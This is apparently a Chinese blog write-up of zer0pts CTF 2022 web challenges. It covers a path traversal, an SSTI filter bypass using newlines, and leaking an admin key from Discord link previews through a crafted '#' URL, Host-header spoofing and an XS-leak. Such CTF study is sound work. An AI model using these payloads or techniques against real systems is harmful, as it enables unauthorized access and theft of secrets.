zer0ptsCTF2022复现
其实都在虎符坐牢,虎符做完牢之后zer0pts的比赛也就差不多结束了。。。
虎符四个web感觉有两个不怎么web,zer0pts六个web感觉也有一半不怎么web。。。
zer0pts当初还是我提议拉一个队打一下的拉着。。。对不起其他究极输出的师傅们。
然后最后一个小时简单的看了一下web题。一共六个web,一个签到,两个感觉不是很web的题,以及这两个不是很web的题被非预期之后的revenge,和一个完全没看不知道是个啥的题(说起来究极国际队也赛题被疯狂非预期了,并且这个赛题数量以及其和web的相关程度,感觉也没有比我们好很多。突然心里有点舒服了一点?)不过感觉他们还是影响力比我们大多了,并且他们常年举办比赛也很有经验,总之就是discord里看起来很热闹氛围很好呜呜(我现在才知道似乎discord和QQ群不一样发公告不要随便@全体。。。就丢在announcement里就行。。。以及现在的私聊比较流行的说法是dm,direct message)
然后因为没有怎么看题所以不会坐牢,简单复现
然后因为没有看多久所以简单看一下然后去codeql坐牢吧。。。
GitFile Explorer
签到。是个人都能做。正则写的过于粗糙目录穿越一下即可zer0pts{foo/bar/../../../../../directory/traversal}
如果把协议那里稍微写仔细一点感觉会难一点点点点
miniblog++
被非预期的web1
这个题预期解感觉和web的关系不大。。。
但是非预期还是挺web的。以及叫做++不知道是不是往年有普通版
代码非常的长,预期解是要打究极的zip协议再ssti。但由于在模板渲染处控制的不是很好结果就导致了直接的ssti打爆了。这里就简单的看一下这段吧
修复前的代码
for brace in re.findall(r"{{.*?}}", content):
if not re.match(r"{{!?[a-zA-Z0-9_]+}}", brace):
return 'You can only use "{{title}}", "{{author}}", and "{{date}}"', None
修复后的代码
for m in re.finditer(r"{{", content):
p = m.start()
if not (content[p:p+len('{{title}}')] == '{{title}}' or \
content[p:p+len('{{author}}')] == '{{author}}' or \
content[p:p+len('{{date}}')] == '{{date}}'):
return 'You can only use "{{title}}", "{{author}}", and "{{date}}"', None
修复前的代码使用正则表达式去匹配所有的双大括号,然后只支持a-zA-Z0-9和下划线,也就理论上来说防御了SQL注入。但这里有一个非常严重的问题,就是.
不匹配换行。而ssti是可以换行的,通过换行ssti执行到rce成功
修了一下之后直接字符串等于了,超级修复。他们两个题的revenge的附件压缩包密码都是上一题的flag,这样子的做好不好呢?说起来这样子也就可以直接在修复里暴露出上一题的解法了,但是他们还是换了一个方法来修复。写的很死应该是怕再出问题吧。。。(毕竟我们的题目修复之后还是有超级漏洞就很丢脸了。。。)
Disco Party
被非预期的web2,感觉预期解应该是什么discord的特性黑魔法
代码还挺长的。
主要看这段
............
@app.route("/post/<string(length=16):id>", methods=["GET"])
def get_post(id):
"""Read a ticket"""
# Get ticket by ID
content = get_redis_conn(DB_TICKET).get(id)
if content is None:
return flask.abort(404, "not found")
# Check if admin
content = json.loads(content)
key = flask.request.args.get("key")
is_admin = isinstance(key, str) and get_key(id) == key
return flask.render_template(
"index.html",
**content,
is_post=True,
panel=f"""
<strong>Hello admin! Your flag is: {FLAG}</strong><br>
<form id="delete-form" method="post" action="/api/delete">
<input name="id" type="hidden" value="{id}">
<input name="key" type="hidden" value="{key}">
<button id="modal-button-delete" type="button">Delete This Post</button>
</form>
""" if is_admin else "",
url=flask.request.url,
sitekey=RECAPTCHA_SITE_KEY
)
@app.route("/api/new", methods=["POST"])
def api_new():
"""Create a new ticket"""
# Get parameters
try:
title = flask.request.form["title"]
content = flask.request.form["content"]
except:
return flask.abort(400, "Invalid request")
# Register a new ticket
id = b64digest(os.urandom(16))[:16]
get_redis_conn(DB_TICKET).set(
id, json.dumps({"title": title, "content": content})
)
return flask.jsonify({"result": "OK",
"message": "Post created! Click here to see your post",
"action": f"{flask.request.url_root}post/{id}"})
..........
@app.route("/api/report", methods=["POST"])
def api_report():
"""Reoprt an invitation ticket"""
# Get parameters
try:
url = flask.request.form["url"]
reason = flask.request.form["reason"]
recaptcha_token = flask.request.form["g-recaptcha-response"]
except Exception:
return flask.abort(400, "Invalid request")
# Check reCAPTCHA
score = verify_recaptcha(recaptcha_token)
if score == -1:
return flask.jsonify({"result": "NG", "message": "Recaptcha verify failed"})
if score <= 0.3:
return flask.jsonify({"result": "NG", "message": f"Bye robot (score: {score})"})
# Check URL
parsed = urllib.parse.urlparse(url.split('?', 1)[0])
if len(parsed.query) != 0:
return flask.jsonify({"result": "NG", "message": "Query string is not allowed"})
if f'{parsed.scheme}://{parsed.netloc}/' != flask.request.url_root:
return flask.jsonify({"result": "NG", "message": "Invalid host"})
# Parse path
adapter = app.url_map.bind(flask.request.host)
endpoint, args = adapter.match(parsed.path)
if endpoint != "get_post" or "id" not in args:
return flask.jsonify({"result": "NG", "message": "Invalid endpoint"})
# Check ID
if not get_redis_conn(DB_TICKET).exists(args["id"]):
return flask.jsonify({"result": "NG", "message": "Invalid ID"})
key = get_key(args["id"])
message = f"URL: {url}?key={key}\nReason: {reason}"
try:
get_redis_conn(DB_BOT).rpush(
'report', message[:MESSAGE_LENGTH_LIMIT]
)
except Exception:
return flask.jsonify({"result": "NG", "message": "Post failed"})
return flask.jsonify({"result": "OK", "message": "Successfully reported"})
访问post时如果带有正确的key就能拿到flag
bot会将message写进redis,然后再发送到某个秘密channel中。我们要做的就是获取到这个key。说起来前面这里的解析。这么大一堆。。。。看的不是很懂呢
大致就是检查了url必须是题目的url,然后不能带get参数,并且一定要访问的是get_post对应的路由,这里的这段写法我就觉得有点玄幻(直接字符串比较不就行了么)
可以简单地观察到的情况是,当你在discord中发送一个链接的时候,discord是会请求这个链接的,然后在聊天框里出现一个preview
非预期1
所以非预期解是在有效的一个post链接后面添加# <vps>
,由于题目没有检查hash字段,且最终是将整个url进行拼接,空格又打断了实际上发出去时的url判断,实际上就变成了将vps和后面的参数拼起来又发了一次
请求
http://party.ctf.zer0pts.com:8007/post/0123456789abcdef# http://example.com/
就会实际上将key发送到example.com
非预期2
这里判断url使用的是flask.request.url_root和flask.request.host。而这两个值其实是基于请求的Host header的,只要修改host header就可以发送任意请求了
这里写的这个bind再match的操作我还以为究极检测,结果就是把自己的urlmap对应起来进行比对,并不受host影响。因此修改host就可以提交任意url,同样的进行外带
Disco Festival
这个题修了,把report处的代码改掉了
并且直接用字符串进行host的检查了,发送的链接也基本上被写死了
一次修了两个问题,也很稳妥。。。不像我们修了一个又被非预期了,显得很呆。。。害
HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", "8017")
NETLOC = f'{HOST}:{PORT}'
........
adapter = app.url_map.bind(NETLOC)
endpoint, args = adapter.match(parsed.path)
if endpoint != "get_post" or "id" not in args:
return flask.jsonify({"result": "NG", "message": "Invalid endpoint"})
# Check ID
if not get_redis_conn(DB_TICKET).exists(args["id"]):
return flask.jsonify({"result": "NG", "message": "Invalid ID"})
key = get_key(args["id"])
message = f"URL: http://{NETLOC}{parsed.path}?key={key}\nReason: {reason}"
预期解
还是和之前发一个链接然后discord会去加载一下预览相关
discord的链接预览似乎是存在着玄幻的全局缓存机制的,也就是说如果其他人在其他地方发了一个url,discord抓取了预览,那么这个预览就是全局的,在另一个服务器发送也会获取到该预览值。并且只要url的参数甚至hash不同,就会重新进行抓取
通过这个操作进行xs leak
report处限制了整个消息的长度,而adapter.match对于get_post的这个router/post/<string(length=16):id>
的解析实际上也是转换到了正则r'^\|/+?post/+?(?P<id>[^/]{16})$'
。虽然后面半截看不懂,但是开局那个意思应该是允许出现很多斜杠
因此使用大量的斜杠来截断消息。使bot发送类似http://target///////////.../post/<id>?key=xx
的消息,这样子可以控制住发送出去的key的长度。从而逐位leak
在bot发送了该链接后对字符集进行遍历,能够迅速得到预览的即为命中,可以使用discord bot消息中的embeds属性快速确认是否命中
misc
上次忘了什么原因升级了node和hexo,旧版本hexo遇到ssti这种双大括号是会解析错误疯狂报错的,今天发现新版本修了,并且原来的row和endrow标签反而又不能识别了。不过不用加这个玩意本身就是好事